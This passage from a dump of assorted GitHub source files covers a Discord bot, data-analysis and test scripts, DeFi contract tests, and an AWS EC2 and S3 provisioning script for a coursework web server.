been reserved for {1}'.format(order.title, message.author.mention))\n\n # Status 2: Release of a title\n elif status == 2:\n if titleQueue.done(message.author):\n await message.channel.send('Roger! Title {0} has been released. Thanks {1}'.format(order.title, message.author.mention))\n\n else:\n print()\n \n def getQueueTitle(self, title):\n queueDic = {\n \"duke\": self.dukeQueue,\n \"architect\": self.architectQueue,\n \"justice\": self.justiceQueue,\n \"scientist\": self.scientistQueue\n }\n return queueDic.get(title)\n \n def isAdmin(self, user):\n return user in [\"daskop\", \"rafadess\"]","repo_name":"Daskopo707070/RoK-TitleBot","sub_path":"DiscordHandler.py","file_name":"DiscordHandler.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"31312906650","text":"import pandas\n\n\ndef get_filename_for_year(year, index=\"NYSE\"):\n #if year in range(1981,1991):\n # return \"file://localhost/Users/amounir/Downloads/1981-1990.csv\"\n #if year in range(1991,2001):\n # return \"file://localhost/Users/amounir/Downloads/1991-2000.csv\"\n #if year in range(2001,2011):\n # return \"file://localhost/Users/amounir/Downloads/2001-2010.csv\"\n #return \"file://localhost/Users/amounir/Downloads/2011-2014.csv\"\n if index == \"NYSE\":\n return \"file://localhost/Users/amounir/Downloads/NYSE Returns.csv\"\n return \"file://localhost/Users/amounir/Downloads/NASDAQ Returns.csv\"\n\n\nclass StockReturnsQuerier(object):\n def __init__(self):\n self.filenames_data = {}\n\n def _load_file_for_year(self, year):\n filename = get_filename_for_year(year)\n year_data = self.filenames_data.get(filename)\n if year_data is None:\n year_data = pandas.read_csv(\n filename, usecols=[\"GVKEY\", \"datadatefix\", \"trt1m\"], na_values=[\"NaN\", \"nan\"], keep_default_na=False,\n parse_dates=True, keep_date_col=True, index_col=['GVKEY','datadatefix'], low_memory = False)\n self.filenames_data[filename] = year_data\n return year_data\n\n def get_monthly_data_from_company_year(self, company, year):\n year_data = self._load_file_for_year(year)\n try:\n if year_data.ix[company].get(str(year)) is not None:\n return year_data.ix[company].get(str(year)).get_values().tolist()\n except KeyError:\n return []\n return []\n\n\nif __name__ == '__main__':\n querier = StockReturnsQuerier()\n # print querier.get_monthly_data_from_company_year(, 1981)\n","repo_name":"amounir86/gppa_asam","sub_path":"stock_returns_querier.py","file_name":"stock_returns_querier.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27126699054","text":"plugs = [\n {\n 'status': 1,\n 'name': 'Chiel92/vim-autoformat', # 代码格式化工具\n 'file': 'vim-autoformat',\n 'cmd': \"pip3 install autopep8\"\n },\n {\n 'status': 1,\n 'name': 'https://github.com/scrooloose/nerdtree', # 文件浏览窗口\n 'file': 'nerdtree',\n 'cmd': \"\"\n },\n {\n 'status': 1,\n 'name': 'kien/rainbow_parentheses.vim',# 不同颜色区分括号匹配\n 'file': 'rainbow_parentheses',\n 'cmd': \"\"\n },\n {\n 'status': 1,\n 'name': 'https://github.com/bling/vim-airline',# 加强版的状态栏\n 'file': '',\n 'cmd': \"\"\n },\n {\n 'status': 0,\n 'name': 'w0rp/ale',# 代码自动检查,确保你的vim版本不低于8.0\n 'file': 'ale',\n 'cmd': \"pip3 install flake8\"\n },\n {\n 'status': 0,\n 'name': 'scrooloose/syntastic',# 代码自动检查\n 'file': 'syntastic',\n 'cmd': \"pip3 install flake8\"\n },\n {\n 'status': 1,\n 'name': 'https://github.com/ycm-core/YouCompleteMe',\n 'file': 'YouCompleteMe',# 代码提示\n 'cmd': \"\"\n },\n]\n","repo_name":"arthurlib/vim_config","sub_path":"python/plugs/plug.py","file_name":"plug.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73555345512","text":"# coding=utf-8\nfrom ORM.MongoDB.base import MongoDB_orm_base,ObjectId\nimport pymongo\nclass Notice(MongoDB_orm_base):\n def __init__(self, mongo_control):\n MongoDB_orm_base.__init__(self, mongo_control)\n self.colName = 'notice'\n \n async def handle(self,id):\n condition = {'_id':ObjectId(id)}\n notice = {'$set':{'state':'1'}}\n await self.db.update(condition, notice, self.colName)\n \n async def update(self,id,notice):\n condition = {'_id':ObjectId(id)}\n notice = {'$set':notice}\n await self.db.update(condition, notice, self.colName)\n \n async def insert_source(self,id,source):\n condition = {'_id':ObjectId(id)}\n notice = {'$addToSet':{'source':source}}\n await self.db.update(condition, notice, self.colName)\n \n async def get_count(self,condition):\n count = await self.db.get_document_count(condition, self.colName)\n return count\n\n async def delete(self, notice_id):\n condition = {'_id': notice_id}\n await self.db.delete(condition, self.colName)\n \n async def get_notice_free(self,condition,sortby,sort,limit,skip):\n noticelist = await self.db.get_document_list(condition, sortby, sort, limit, skip, self.colName)\n for i in range(len(noticelist)):\n noticelist[i] = self.brief_notice(noticelist[i])\n return noticelist\n \n async def get_by_id(self, id):\n condition = {'_id':ObjectId(id)}\n notice = await self.db.get_document_one(condition, self.colName)\n return notice\n \n async def get_by_user(self, id):\n condition = {'user_id':str(id)}\n notice = await self.db.get_document_one(condition, self.colName)\n return notice \n \n async def insert(self, notice):\n result = await self.db.insert(notice, self.colName)\n return result\n \n def brief_notice(self,notice):\n briefnotice = self.db.brief_notice(notice)\n return briefnotice\n","repo_name":"Chao-Lu/superman","sub_path":"ORM/MongoDB/notice.py","file_name":"notice.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25332466186","text":"#!/usr/bin/python3\n\n\"\"\"Unit tests for base_model.py.\"\"\"\n\nimport unittest\nfrom datetime import datetime\nfrom models.base_model import BaseModel\nimport models\n\n\nclass TestBaseModel(unittest.TestCase):\n \"\"\"Unit tests for the BaseModel class.\"\"\"\n\n def test_init_with_kwargs(self):\n \"\"\"Test initializing BaseModel instance with keyword arguments.\"\"\"\n kwargs = {\n \"id\": \"123\",\n \"created_at\": \"2023-01-01T12:00:00.000\",\n \"updated_at\": \"2023-01-01T12:30:00.000\",\n \"custom_attr\": \"value\"\n }\n obj = BaseModel(**kwargs)\n self.assertEqual(obj.id, \"123\")\n self.assertEqual(obj.custom_attr, \"value\")\n self.assertEqual(obj.created_at, datetime(2023, 1, 1, 12, 0, 0))\n self.assertEqual(obj.updated_at, datetime(2023, 1, 1, 12, 30, 0))\n self.assertIsInstance(obj, BaseModel)\n\n def test_init_without_kwargs(self):\n \"\"\"Test initializing BaseModel instance without keyword arguments.\"\"\"\n obj = BaseModel()\n self.assertIsNotNone(obj.id)\n self.assertIsNotNone(obj.created_at)\n self.assertIsNotNone(obj.updated_at)\n self.assertIsInstance(obj, BaseModel)\n self.assertIs(\n models.storage.all().get(obj.__class__.__name__ + '.' + obj.id),\n obj\n )\n\n def test_save_method(self):\n \"\"\"Test save method of BaseModel.\"\"\"\n obj = BaseModel()\n old_updated_at = obj.updated_at\n obj.save()\n self.assertNotEqual(old_updated_at, obj.updated_at)\n\n def test_to_dict_method(self):\n \"\"\"Test to_dict method of BaseModel.\"\"\"\n obj = BaseModel()\n obj_dict = obj.to_dict()\n self.assertEqual(obj_dict[\"id\"], obj.id)\n self.assertEqual(obj_dict[\"created_at\"], obj.created_at.isoformat())\n self.assertEqual(obj_dict[\"updated_at\"], obj.updated_at.isoformat())\n self.assertEqual(obj_dict[\"__class__\"], \"BaseModel\")\n\n def test_str_representation(self):\n \"\"\"Test __str__ representation of BaseModel.\"\"\"\n obj = BaseModel()\n str_rep = str(obj)\n self.assertIn(\"[BaseModel]\", str_rep)\n self.assertIn(obj.id, str_rep)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"abdel-moaty/AirBnB_clone","sub_path":"tests/test_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20842493032","text":"# fruits辞書から指定のフルーツを取り出す\nfruits = {\"apple\": 7, \"orange\": 5, \"mango\": 3, \"peach\": 6}\nwhile fruits: # fruitsが空でなければ繰り返す\n key = input(\"どのフルーツを取り出しますか?(qで終了):\")\n if key == \"\": # 何もタイプされずに入力された時は続行する\n continue\n elif key == \"q\":\n print(\"終了しました。\")\n break\n try:\n value = fruits.pop(key) # keyの値を取り出して要素を削除する\n print(f\"{key}は{value}個\") # 取り出した値とキーを表示\n except KeyError: # 入力されたキーが辞書になったらメッセージを表示\n print(f\"{key}はありません。\")\n except Exception as error:\n print(error)\n break\nelse: # whileループの終了後に実行 fruitsがあ空になるとループは正常に終了\n print(\"���う空っぽです。\")\n\n","repo_name":"natume5/rensyuuyou","sub_path":"python3 Guide note Sample/chapter9/Section9-2/dict_pop.py","file_name":"dict_pop.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27186677990","text":"# The function modifies a list\n# It deletes all the odd numbers\n# And divides even numbers by 2\ndef modify_list(lst):\n # Set a variable which is equal to the index of the last element in the list\n # For example: lst = [1, 2, 3 ,4]; 'n' = 3\n n = len(lst) - 1\n # Variable 'm' is the element with index 0 in the list\n m = 0\n # The first cycle for\n # Here we iterate the whole list from the last element to the first one\n # And delete the elements which are odd\n for i in range(n, -1, -1):\n # Check if the number is odd\n if lst[n] % 2 == 1:\n # If it's odd - we delete it\n del lst[n]\n # Check the next element from the end\n # For example: lst = [1, 2, 3 ,4]; 'n' = 3, 'n -= 1' = 2\n n -= 1\n\n # Second for cycle\n # It's already filtered by the 1st for cycle and doesn't contain any odd numbers\n for j in lst:\n # We check if the number is even\n if lst[m] % 2 == 0:\n # If it's even we divide it by 2\n lst[m] = lst[m] // 2\n # Check the next element from the beginning\n # For example: lst = [1, 2, 3 ,4]; 'm' = 0(in the list it's 1), 'm += 1' = 1(in the list it's 2)\n m += 1\n return lst\n\n# As an example we create a list 'lst'\nlst = [6, 6, 6, 6]\n# Implement our function\nmodify_list(lst)\n# Print 'lst' to see the result\n# The result will be 'lst = [3, 3, 3, 3]'\nprint(lst)\n# Implement our function again, with an updated list 'lst = [3, 3, 3, 3]'\nmodify_list(lst)\n# # The result will be 'lst = []'\nprint(lst)\n","repo_name":"akomandyuk/Stepik","sub_path":"functions_2.py","file_name":"functions_2.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72553953192","text":"def is_prime(x):\n if x < 2:\n return False\n for i in range(2, int(x**0.5)+1):\n if(x % i == 0):\n return False\n return True\n\nalist = list(range(2, 10000))\nm = []\nfor i in alist:\n if is_prime(i):\n m.append(i)\n\nN = int(input())\nfor _ in range(N):\n x = int(input())\n a = []\n q = 0\n w = 0\n for j in m:\n y = x - j\n if y < 0:\n break\n if y in m and y >= j:\n a.append([j, y])\n mi = a[0][1] - a[0][0]\n for s in range(len(a)):\n if mi >= a[s][1] - a[s][0]:\n q = a[s][0]\n w = a[s][1]\n print(q, w)","repo_name":"jayyeong/Algorithm","sub_path":"Baekjoon/BOJproblem_before_summer/BOJ9020골드바흐의추측.py","file_name":"BOJ9020골드바흐의추측.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9753212829","text":"import sys\nsys.stdin = open('input.txt')\n\nn = int(input())\n\nbag = 0\n\nwhile n >= 0:\n if n % 5 == 0:\n bag += (n // 5)\n print(bag)\n break\n n -= 3\n bag += 1\nelse:\n print(-1)\n","repo_name":"seulgi-mun/Algorithm","sub_path":"Python/Baekjoon/2839_설탕배달.py","file_name":"2839_설탕배달.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14991358546","text":"import logging\nfrom flask_script import Command, Option\n\nimport nl_core_news_sm\n\nfrom app.models.models import Politician, Party\nfrom app.modules.common.utils import translate_doc\nfrom app.modules.enrichment.named_entities.recognition import init_nlp\nfrom app.modules.poliflow.fetch import fetch_latest_documents\n\nlogger = logging.getLogger('test_pm')\nnlp = None\n\nclass TestPhraseMatcherCommand(Command):\n \"\"\" Test the NER/NED.\"\"\"\n option_list = (\n Option('--count', '-c', dest='count'),\n )\n\n def run(self, count = 100):\n test_phrase_matcher(int(count))\n\n\ndef test_phrase_matcher(count):\n \"\"\" Test Named Entity Algorithms.\"\"\"\n # Fetch the articles\n logger.info('Fetching {} artilces'.format(count))\n n_documents = count\n documents = fetch_latest_documents(n_documents)\n logger.info('Fetched {} articles'.format(len(documents)))\n\n # Process the descriptions to raw text (instead of html)\n document_descriptions = []\n for document in documents:\n simple_doc = translate_doc(document)\n document_descriptions.append(simple_doc['text_description'])\n\n # Process the articles using two different NLP modules. With and without phrase matcher.\n logger.info('Initializing nlp model')\n nlp_original = nl_core_news_sm.load()\n nlp_with_phrase_matcher = init_nlp()\n logger.info(nlp_with_phrase_matcher)\n\n logger.info('Processing article descriptions')\n nlp_original_extracted_entities = []\n nlp_with_phrase_matcher_extracted_entities = []\n\n for doc_description in document_descriptions:\n for ent in nlp_original(doc_description).ents:\n nlp_original_extracted_entities.append(ent)\n\n for ent in nlp_with_phrase_matcher(doc_description).ents:\n nlp_with_phrase_matcher_extracted_entities.append(ent)\n\n exact_politician_name_matches(nlp_with_phrase_matcher_extracted_entities, nlp_original_extracted_entities)\n initial_politician_name_matches(nlp_with_phrase_matcher_extracted_entities, nlp_original_extracted_entities)\n full_party_name_matches(nlp_with_phrase_matcher_extracted_entities, nlp_original_extracted_entities)\n abbreviation_party_name_matches(nlp_with_phrase_matcher_extracted_entities, nlp_original_extracted_entities)\n count_types_recognized(nlp_with_phrase_matcher_extracted_entities, nlp_original_extracted_entities)\n\n\ndef exact_politician_name_matches(entities_with, entities_without):\n with_count = 0\n for entity in entities_with:\n if entity.label_ == 'PER':\n if Politician.query.filter(Politician.first_last == entity.text).first():\n with_count += 1\n\n without_count = 0\n for entity in entities_without:\n if entity.label_ == 'PER':\n if Politician.query.filter(Politician.first_last == entity.text).first():\n without_count += 1\n\n logger.info('exact_politician_name_matches with PhraseMatcher: {}'.format(with_count))\n logger.info('exact_politician_name_matches NO PhraseMatcher: {}'.format(without_count))\n\ndef initial_politician_name_matches(entities_with, entities_without):\n with_count = 0\n for entity in entities_with:\n if entity.label_ == 'PER':\n if Politician.query.filter(Politician.full_name_short == entity.text).first():\n with_count += 1\n\n without_count = 0\n for entity in entities_without:\n if entity.label_ == 'PER':\n if Politician.query.filter(Politician.full_name_short == entity.text).first():\n without_count += 1\n\n logger.info('initial_politician_name_matches with PhraseMatcher: {}'.format(with_count))\n logger.info('initial_politician_name_matches NO PhraseMatcher: {}'.format(without_count))\n\ndef full_party_name_matches(entities_with, entities_without):\n with_count = 0\n for entity in entities_with:\n if entity.label_ == 'ORG':\n if Party.query.filter(Party.name == entity.text).first():\n with_count += 1\n\n without_count = 0\n for entity in entities_without:\n if entity.label_ == 'ORG':\n if Party.query.filter(Party.name == entity.text).first():\n without_count += 1\n\n logger.info('full_party_name_matches with PhraseMatcher: {}'.format(with_count))\n logger.info('full_party_name_matches NO PhraseMatcher: {}'.format(without_count))\n\ndef abbreviation_party_name_matches(entities_with, entities_without):\n with_count = 0\n for entity in entities_with:\n if entity.label_ == 'ORG':\n if Party.query.filter(Party.abbreviation == entity.text).first():\n with_count += 1\n\n without_count = 0\n for entity in entities_without:\n if entity.label_ == 'ORG':\n if Party.query.filter(Party.abbreviation == entity.text).first():\n without_count += 1\n\n logger.info('abbreviation_party_name_matches with PhraseMatcher: {}'.format(with_count))\n logger.info('abbreviation_party_name_matches NO PhraseMatcher: {}'.format(without_count))\n\ndef count_types_recognized(entities_with, entities_without):\n with_count_people = 0\n with_count_organizations = 0\n\n for entity in entities_with:\n if entity.label_ == 'PER':\n with_count_people += 1\n elif entity.label_ == 'ORG':\n with_count_organizations += 1\n\n without_count_people = 0\n without_count_organizations = 0\n\n for entity in entities_without:\n if entity.label_ == 'PER':\n without_count_people += 1\n elif entity.label_ == 'ORG':\n without_count_organizations += 1\n\n logger.info('count_types_recognized PER matches with PhraseMatcher: {}'.format(with_count_people))\n logger.info('count_types_recognized PER matches NO PhraseMatcher: {}'.format(without_count_people))\n\n logger.info('count_types_recognized ORG matches with PhraseMatcher: {}'.format(with_count_organizations))\n logger.info('count_types_recognized ORG matches NO PhraseMatcher: {}'.format(without_count_organizations))","repo_name":"Joostrothweiler/politags","sub_path":"app/commands/test_pm.py","file_name":"test_pm.py","file_ext":"py","file_size_in_byte":5998,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"17873378817","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport json\nimport numpy as np\n\nwith open(\"articles_data.json\") as f:\n articles = json.load(f)\n\nnews = pd.DataFrame(articles)\n\nnews[\"date\"] = pd.to_datetime(news[\"date\"])\nnews[\"date_str\"] = news[\"date\"].dt.strftime('%Y-%m-%d')\n\ndate_mapping = {date_str: i for i, date_str in enumerate(news[\"date_str\"].unique())}\n\nnews[\"date_float\"] = news[\"date_str\"].map(date_mapping)\n\nfig = plt.figure(figsize=(10, 6))\nax = fig.add_subplot(111, projection=\"3d\")\nax.scatter(news[\"date_float\"], news[\"polarity\"], news[\"subjectivity\"], c=news[\"polarity\"], cmap=\"RdYlGn\")\nax.set_xlabel(\"Date\")\nax.set_ylabel(\"Polarity\")\nax.set_zlabel(\"Subjectivity\")\n\nx_tick_labels = list(date_mapping.keys())[::2]\nx_tick_positions = np.arange(0, len(date_mapping), 2)\n\nax.set_xticks(x_tick_positions)\nax.set_xticklabels(x_tick_labels, rotation=90)\n\nplt.title(\"Sentiment Analysis of News Articles\")\nplt.show()","repo_name":"Unworthy8414/Article-Sentiment-Analysis","sub_path":"sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26216949131","text":"# https://leetcode.com/problems/number-of-valid-words-in-a-sentence/\n# that's boring\nimport re\n\nclass Solution:\n def countValidWords(self, sentence: str) -> int:\n res = 0\n for w in sentence.split():\n if re.match(r'^([a-zA-Z]+\\-)?[a-zA-Z]+[!\\.,]?$', w):\n res += 1\n if re.match('^[!\\.,]$', w):\n res += 1\n return res\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/2001-2500/2047_number-of-valid-words-in-a-sentence_1_AC.py","file_name":"2047_number-of-valid-words-in-a-sentence_1_AC.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"10923785158","text":"from reglue.common.abstract import *\nfrom . import eng\n\n\nclass BasicBlock(BaseBasicBlock):\n def __init__(self,id,g,bb):\n self.g = g\n self.id = id\n self.address = bb.begin\n self._bb = bb\n\n @property\n def parents(self):\n return [ self.g.at(a) for a in self._bb.frm]\n\n @property\n def children(self):\n return [ self.g.at(a) for a in self._bb.to ]\n \nclass Graph(BaseGraph):\n def load(self,blocks):\n self._parents = []\n for i,b in enumerate(blocks):\n self._parents.append([])\n bb = BasicBlock(i,self,b)\n self._bbs.append(bb)\n self._addrs_to_ids[bb.address]=i\n \n\nclass Func(BaseFunc):\n\n def __init__(self,addr):\n self.addr = addr\n self.bbs = eng.get_reachable_blocks(addr)\n\n @property\n def graph(self):\n g = Graph(self)\n g.load(self.bbs)\n g._build_graph()\n return g\n\n \n","repo_name":"mak/reglue","sub_path":"src/backend/meng/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"33784169120","text":"import pytest\nimport brownie\nfrom tests.helpers import (\n anti_whale_transfer_value,\n get_random_name,\n users_with_locked_jewel,\n)\nfrom brownie.test import given, strategy\n\n\n@pytest.fixture(autouse=True)\ndef shared_setup(fn_isolation):\n pass\n\n\ndef test_cant_create_utxo_when_paused(pawn_shop, deployer):\n pawn_shop.pause({\"from\": deployer})\n assert pawn_shop.isPaused() == True\n\n users = users_with_locked_jewel\n user = users[0]\n name = get_random_name()\n\n with brownie.reverts():\n pawn_shop.createUTXO({\"from\": user})\n\n with brownie.reverts():\n pawn_shop.createUTXOWithProfile(name.encode(\"utf-8\"), {\"from\": user})\n\n\ndef test_create_utxo_with_profile_with_unique_name(pawn_shop, profiles, bob):\n name = get_random_name()\n pawn_shop.createUTXOWithProfile(name.encode(\"utf-8\"), {\"from\": bob})\n assert profiles.nameTaken(name)\n\n\ndef test_create_utxo_separately(pawn_shop, profiles, bob, UTXO):\n name = get_random_name()\n _utxo = pawn_shop.createUTXO({\"from\": bob}).return_value\n utxo = UTXO.at(_utxo)\n utxo.createProfile(name.encode(\"utf-8\"), {\"from\": bob})\n assert profiles.nameTaken(name)\n\n\n@given(id=strategy(\"uint\", max_value=len(users_with_locked_jewel) - 1))\ndef test_send_to_utxo(pawn_shop, bob, UTXO, jewel_token, id):\n name = get_random_name()\n _utxo = pawn_shop.createUTXOWithProfile(\n name.encode(\"utf-8\"), {\"from\": bob}\n ).return_value\n utxo = UTXO.at(_utxo)\n\n whale = users_with_locked_jewel[id]\n locked_bal = jewel_token.lockOf(whale)\n unlocked_bal = jewel_token.balanceOf(whale)\n\n if unlocked_bal > anti_whale_transfer_value():\n return # this will give an error due to antiwhale.\n\n jewel_token.transferAll(utxo.address, {\"from\": whale})\n\n assert utxo.nominalLockedValue() == locked_bal\n assert utxo.nominalUnlockedValue() == unlocked_bal\n assert utxo.nominalCombinedValue() == locked_bal + unlocked_bal\n\n\n@given(id=strategy(\"uint\", max_value=len(users_with_locked_jewel) - 1))\ndef test_send_unlocked_jewel_from_utxo(pawn_shop, bob, UTXO, jewel_token, id):\n name = get_random_name()\n _utxo = pawn_shop.createUTXOWithProfile(\n name.encode(\"utf-8\"), {\"from\": bob}\n ).return_value\n utxo = UTXO.at(_utxo)\n\n whale = users_with_locked_jewel[id]\n whale_bal = jewel_token.balanceOf(whale)\n if whale_bal > anti_whale_transfer_value():\n return\n\n jewel_token.transferAll(utxo.address, {\"from\": whale})\n\n start_bal = jewel_token.balanceOf(utxo)\n\n amount_to_transfer = start_bal // 2\n\n if amount_to_transfer == 0:\n return\n\n utxo.transferUnlocked(bob, amount_to_transfer, {\"from\": pawn_shop})\n\n assert jewel_token.balanceOf(utxo) == start_bal - amount_to_transfer\n assert jewel_token.balanceOf(bob) == amount_to_transfer\n\n\n@given(id=strategy(\"uint\", max_value=len(users_with_locked_jewel) - 1))\ndef test_send_all_jewel_from_utxo(pawn_shop, bob, UTXO, jewel_token, id):\n name = get_random_name()\n _utxo = pawn_shop.createUTXOWithProfile(\n name.encode(\"utf-8\"), {\"from\": bob}\n ).return_value\n utxo = UTXO.at(_utxo)\n\n whale = users_with_locked_jewel[id]\n\n whale_bal = jewel_token.balanceOf(whale)\n if whale_bal > anti_whale_transfer_value():\n return # this will give antiwhale\n\n jewel_token.transferAll(utxo.address, {\"from\": whale})\n\n start_bal = jewel_token.totalBalanceOf(utxo)\n\n utxo.transferAll(bob, {\"from\": pawn_shop})\n\n assert jewel_token.totalBalanceOf(utxo) == 0\n assert jewel_token.totalBalanceOf(bob) == start_bal\n","repo_name":"gmguild/gmJEWEL","sub_path":"tests/harmony/test_utxo.py","file_name":"test_utxo.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"15041742069","text":"def salary(N: int, B: list) -> int:\r\n tree = [[] for _ in range(N)]\r\n for i, b in enumerate(B):\r\n tree[b - 1].append(i + 1)\r\n\r\n def dfs(v: int) -> int:\r\n if not tree[v]:\r\n return 1\r\n\r\n max_s, min_s = 0, float('inf')\r\n for child in tree[v]:\r\n d = dfs(child)\r\n max_s = max(max_s, d)\r\n min_s = min(min_s, d)\r\n\r\n return max_s + min_s + 1\r\n\r\n return dfs(0)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n N = int(input())\r\n B = [int(input()) for _ in range(N-1)]\r\n ans = salary(N, B)\r\n print(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc026/C/4926463.py","file_name":"4926463.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"27749748604","text":"#!/usr/bin/env python3\r\n\r\n# Spin up a an aws EC2 instance with s3 bucket and monitoring\r\n# Credentials saved in ~/.aws/credentials \r\n\r\n#imports\r\nfrom boto3 import client\r\nimport sys,boto3,requests,shutil,time,webbrowser,subprocess\r\n\r\n\r\n# globals\r\nec2 = boto3.resource('ec2')\r\ns3 = boto3.resource('s3')\r\nconn = client('s3')\r\n\r\n# List of buckets already exists\r\n# I'm using a particular bucket so I can refer to that variable\r\nfor bucket in s3.buckets.all():\r\n bucket = bucket.name\r\n print(\"---\")\r\n\r\n# Create ec2 instance function\r\ndef t_create_ec2_instance():\r\n try:\r\n instances = ec2.create_instances(\r\n ImageId='ami-0aa7d40eeae50c9a9', #'ami-09d56f8956ab235b3',\r\n MinCount=1,\r\n MaxCount=1,\r\n InstanceType='t2.nano',\r\n UserData=\"\"\"#!/bin/bash\r\n yum update\r\n yum install httpd -y\r\n systemctl enable httpd\r\n systemctl start httpd\r\n yum install -y httpd mariadb-server\r\n echo \"\r\n \r\n \r\n

Devops Assignment 1

\r\n

Tibor Molnar

\r\n

20074237

\r\n
\r\n \" > /var/www/html/index.html\r\n echo \"

This instance is running in availability zone:

\" >> /var/www/html/index.html\r\n curl http://169.254.169.254/latest/meta-data/placement/availability-zone >> /var/www/html/index.html\r\n echo \"


The instance ID is:

\" >> /var/www/html/index.html\r\n curl http://169.254.169.254/latest/meta-data/instance-id >> /var/www/html/index.html\r\n echo \"
The instance type is: \" >> /var/www/html/index.html \r\n curl http://169.254.169.254/latest/meta-data/instance-type >> /var/www/html/index.html\r\n echo \"\r\n \" >> /var/www/html/index.html\"\"\".format(code=bucket),\r\n SecurityGroupIds=['launch-wizard-4'],\r\n KeyName='tmolnar-aws-lab'\r\n )\r\n except:\r\n print('Error during Instance Creation')\r\n # Additional instance queries\r\n print()\r\n print('Starting Instance....where ' + 'Instance Id is: ' + instances[0].id)\r\n instances[0].wait_until_running()\r\n print('Instance Running.')\r\n instances[0].reload()\r\n print('Lets run reload method..')\r\n ip=instances[0].public_ip_address\r\n print('Instance Running')\r\n print('Public Ip address is: ' + ip)\r\n print('Waiting for website installation............. ')\r\n time.sleep(40)\r\n print('Website installation done')\r\n time.sleep(2)\r\n print('Opening default website created')\r\n webbrowser.open_new_tab(\"http://\" + ip)\r\n # Create a name tag for the instance\r\n response = ec2.create_tags(\r\n Resources=[\r\n instances[0].id, \r\n ],\r\n Tags=[\r\n {\r\n 'Key': 'Name',\r\n 'Value': 'EC2 devops'\r\n },\r\n ]\r\n )\r\n\r\n # The program should also write both URL's to a file called tmolnarurl.txt\r\n # the bucket url: \"https://{code}.s3.amazonaws.com/setu_logo.jpg\"\r\n # web url: ip\r\n print('Saving Urls to a file....')\r\n time.sleep(2)\r\n f = open(\"tmolnarurl.txt\", \"a\")\r\n f.write(\"bucket url: https://{code}.s3.amazonaws.com/setu_logo.jpg\\n\")\r\n f.write(\"web url: \\n\" + ip)\r\n f.close()\r\n \r\n print('Copy monitor script to instance, and call it...')\r\n time.sleep(1)\r\n # Monitor instance\r\n # Copy monitor. to the instance, change privilege and start script\r\n scp_command = 'scp -i tmolnar-aws-lab.pem -o StrictHostKeyChecking=no monitor.sh ec2-user@' + ip + ':/home/ec2-user/' \r\n ssh_command = 'ssh -i tmolnar-aws-lab.pem -o StrictHostKeyChecking=no ec2-user@' + ip + \" 'chmod 700 monitor.sh'\"\r\n ssh_start_command = 'ssh -i tmolnar-aws-lab.pem -o StrictHostKeyChecking=no ec2-user@' + ip + \" './monitor.sh'\"\r\n subprocess.run(scp_command, shell=True)\r\n print('Copy monitor.sh success!')\r\n subprocess.run(ssh_command, shell=True)\r\n print('Connecting to the instance to modify monitor.sh file privilege')\r\n print('Starting monitor script')\r\n print('-----------------------')\r\n subprocess.run(ssh_start_command, shell=True)\r\n\r\n\r\n\r\n\r\n# Download SETU logo method\r\ndef t_download_file():\r\n print('Locating Picture for Assignment..............')\r\n try:\r\n img_url = 'http://devops.witdemo.net/logo.jpg'\r\n path = '/home/tmolnar/aws-code/setu_logo.jpg'\r\n response = requests.get(img_url)\r\n if response.status_code == 200:\r\n with open(path, 'wb') as f:\r\n f.write(response.content)\r\n print('Picture downloaded from: ' + img_url + ' to: ' + path)\r\n except:\r\n print('Download faulire')\r\n\r\n\r\n\r\n# S3 Create a Bucket function\r\ndef t_create_bucket_and_upload():\r\n b_name=[\"tmolnar-test2222\"]\r\n # bucket name can be defined by user but it ruins automation\r\n # b_name=[str(input('Please input bucket name to be created: '))]\r\n\r\n\r\n print('Start Creating bucket....')\r\n for bucket_name in b_name: #sys.argv[1:]:\r\n try:\r\n response = s3.create_bucket(Bucket=bucket_name)\r\n print (response)\r\n except Exception as error:\r\n print (error)\r\n time.sleep(5)\r\n print('Bucket Created')\r\n print('Bucket name: ' + bucket_name)\r\n print('Configuring static website.....')\r\n\r\n # Static Website config for Bucket\r\n website_configuration = {\r\n 'ErrorDocument': {'Key': 'error.html'},\r\n 'IndexDocument': {'Suffix': 'index.html'},\r\n 